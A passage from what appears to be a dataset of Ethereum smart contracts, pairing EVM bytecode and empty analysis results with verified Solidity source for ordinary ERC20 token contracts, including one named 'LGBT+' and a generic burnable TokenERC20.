613608614836565b60138054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561369e5780601f106136735761010080835404028352916020019161369e565b820191906000526020600020905b81548152906001019060200180831161368157829003601f168201915b5050505050905090565b6136b0614836565b601b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137465780601f1061371b57610100808354040283529160200191613746565b820191906000526020600020905b81548152906001019060200180831161372957829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156137ab57600080fd5b80600890805190602001906137c192919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561382057600080fd5b80601f908051906020019061383692919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561389557600080fd5b80600b90805190602001906138ab92919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561390a57600080fd5b80600f908051906020019061392092919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561397f57600080fd5b80601a908051906020019061399592919061484a565b5050565b6139a1614836565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a375780601f10613a0c57610100808354040283529160200191613a37565b820191906000526020600020905b815481529060010190602001808311613a1a57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613a9c57600080fd5b80601b9080519060200190613ab292919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b1157600080fd5b8060119080519060200190613b2792919061484a565b5050565b613b33614836565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613bc95780601f10613b9e57610100808354040283529160200191613bc9565b820191906000526020600020905b815481529060010190602001808311613bac57829003601f168201915b5050505050905090565b613bdb614836565b601e8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613c715780601f10613c4657610100808354040283529160200191613c71565b820191906000526020600020905b815481529060010190602001808311613c5457829003601f168201915b5050505050905090565b613c83614836565b60198054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613d195780601f10613cee57610100808354040283529160200191613d19565b820191906000526020600020905b815481529060010190602001808311613cfc57829003601f168201915b5050505050905090565b613d2b614836565b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613dc15780601f10613d9657610100808354040283529160200191613dc1565b820191906000526020600020905b815481529060010190602001808311613da457829003601f168201915b5050505050905090565b613dd3614836565b60148054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613e695780601f10613e3e57610100808354040283529160200191613e69565b820191906000526020600020905b815481529060010190602001808311613e4c57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613ece57600080fd5b8060059080519060200190613ee492919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613f4357600080fd5b8060229080519060200190613f5992919061484a565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613fb857600080fd5b80601e9080519060200190613fce92919061484a565b5050565b613fda614836565b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156140705780601f1061404557610100808354040283529160200191614070565b820191906000526020600020905b81548152906001019060200180831161405357829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156140d557600080fd5b80602190805190602001906140eb92919061484a565b5050565b6140f7614836565b60188054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561418d5780601f106141625761010080835404028352916020019161418d565b820191906000526020600020905b81548152906001019060200180831161417057829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156141f257600080fd5b806014908051906020019061420892919061484a565b5050565b614214614836565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156142aa5780601f1061427f576101008083540402835291602001916142aa565b820191906000526020600020905b81548152906001019060200180831161428d57829003601f168201915b5050505050905090565b6142bc614836565b601a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156143525780601f1061432757610100808354040283529160200191614352565b820191906000526020600020905b81548152906001019060200180831161433557829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156143b757600080fd5b80601690805190602001906143cd92919061484a565b5050565b6143d9614836565b60108054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561446f5780601f106144445761010080835404028352916020019161446f565b820191906000526020600020905b81548152906001019060200180831161445257829003601f168201915b5050505050905090565b614481614836565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156145175780601f106144ec57610100808354040283529160200191614517565b820191906000526020600020905b8154815290600101906020018083116144fa57829003601f168201915b5050505050905090565b614529614836565b60208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156145bf5780601f10614594576101008083540402835291602001916145bf565b820191906000526020600020905b8154815290600101906020018083116145a257829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561462457600080fd5b806007908051906020019061463a92919061484a565b5050565b614646614836565b60178054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156146dc5780601f106146b1576101008083540402835291602001916146dc565b820191906000526020600020905b8154815290600101906020018083116146bf57829003601f168201915b5050505050905090565b6146ee614836565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156147845780601f1061475957610100808354040283529160200191614784565b820191906000526020600020905b81548152906001019060200180831161476757829003601f168201915b5050505050905090565b614796614836565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561482c5780601f106148015761010080835404028352916020019161482c565b820191906000526020600020905b81548152906001019060200180831161480f57829003601f168201915b5050505050905090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061488b57805160ff19168380011785556148b9565b828001600101855582156148b9579182015b828111156148b857825182559160200191906001019061489d565b5b5090506148c691906148ca565b5090565b6148ec91905b808211156148e85760008160009055506001016148d0565b5090565b905600a165627a7a723058202cde6925ff16390e182bf2a40566a84b51db7127a517a935d46df284bcadc2c50029
{"success": true, "error": null, "results": {}}
10,233
0x79768c810e5a2d5c5a80b666e953c225b55828a1
/** *Submitted for verification at Etherscan.io on 2021-05-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.4.25; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { int256 constant private INT256_MIN = - 2 ** 255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == - 1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == - 1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract BCY is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowed; mapping(address => uint256) private _locked; mapping(address => uint256) private _lockedTill; uint256 private _totalSupply; address private _admin; modifier onlyAdmin() { require(msg.sender == _admin); _; } /** * @dev Public parameters to define the token */ // Token symbol (short) string public symbol; // Token name (Long) string public name; // Decimals (18 maximum) uint8 public decimals; /** * @dev Public functions to make the contract accesible */ constructor (address initialAccount) public { // Initialize Contract Parameters symbol = "LGBT"; name = "LGBT+"; decimals = 18; // default decimals is going to be 18 always _totalSupply = 1000000000000000000000000000; _admin = initialAccount; _balances[_admin] = _balances[_admin].add(_totalSupply); emit Transfer(address(0), _admin, _totalSupply); } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); require(_balances[from] > value); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063395093511461028a57806370a08231146102ef57806395d89b4114610346578063a457c2d7146103d6578063a9059cbb1461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b5565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106e2565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ec565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6108f4565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610907565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3e565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610b86565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c24565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e5b565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e72565b6040518082815260200191505060405180910390f35b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105f257600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b600061077d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610808848484610f1a565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600860009054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561094457600080fd5b6109d382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c1c5780601f10610bf157610100808354040283529160200191610c1c565b820191906000526020600020905b815481529060010190602001808311610bff57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c6157600080fd5b610cf082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610e68338484610f1a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080838311151515610f0b57600080fd5b82840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f5657600080fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610fa257600080fd5b610ff3816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611086816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561114957600080fd5b80915050929150505600a165627a7a7230582008879246027ffc686fd755b74dc239d58041a636c039930acd3cfe508ea4b23a0029
{"success": true, "error": null, "results": {}}
10,234
0x73393ffcc698ccdbfe4ece51cf0e1aad12724490
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 is ERC20, Ownable{ // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it using SafeMath for uint256; // Balances mapping (address => uint256) balances; // Allowances mapping (address => mapping (address => uint256)) allowances; // ----- Events ----- event Burn(address indexed from, uint256 value); /** * Constructor function */ function TokenERC20(uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint8 _decimals) public { name = _tokenName; // Set the name for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes decimals = _decimals; totalSupply = _initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowances[_owner][_spender]; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal returns(bool) { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balances[_from] >= _value); // Check for overflows require(balances[_to] + _value > balances[_to]); require(_value >= 0); // Save this for an assertion in the future uint previousBalances = balances[_from].add(balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balances[_from] + balances[_to] == previousBalances); return true; } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns(bool) { return _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns(bool) { require((_value == 0) || (allowances[msg.sender][_spender] == 0)); allowances[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool) { if (approve(_spender, _value)) { TokenRecipient spender = TokenRecipient(_spender); spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } return false; } /** * @dev Transfer tokens to multiple addresses * @param _addresses The addresses that will receieve tokens * @param _amounts The quantity of tokens that will be transferred * @return True if the tokens are transferred correctly */ function transferForMultiAddresses(address[] _addresses, uint256[] _amounts) public returns (bool) { for (uint256 i = 0; i < _addresses.length; i++) { require(_addresses[i] != address(0)); require(_amounts[i] <= balances[msg.sender]); require(_amounts[i] > 0); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amounts[i]); balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]); Transfer(msg.sender, _addresses[i], _amounts[i]); } return true; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns(bool) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns(bool) { require(balances[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowances[_from][msg.sender]); // Check allowance balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); // Subtract from the sender&#39;s allowance totalSupply = totalSupply.sub(_value); // Update totalSupply Burn(_from, _value); return true; } /** * approve should be called when allowances[_spender] == 0. To increment * allowances value is better to use this function to 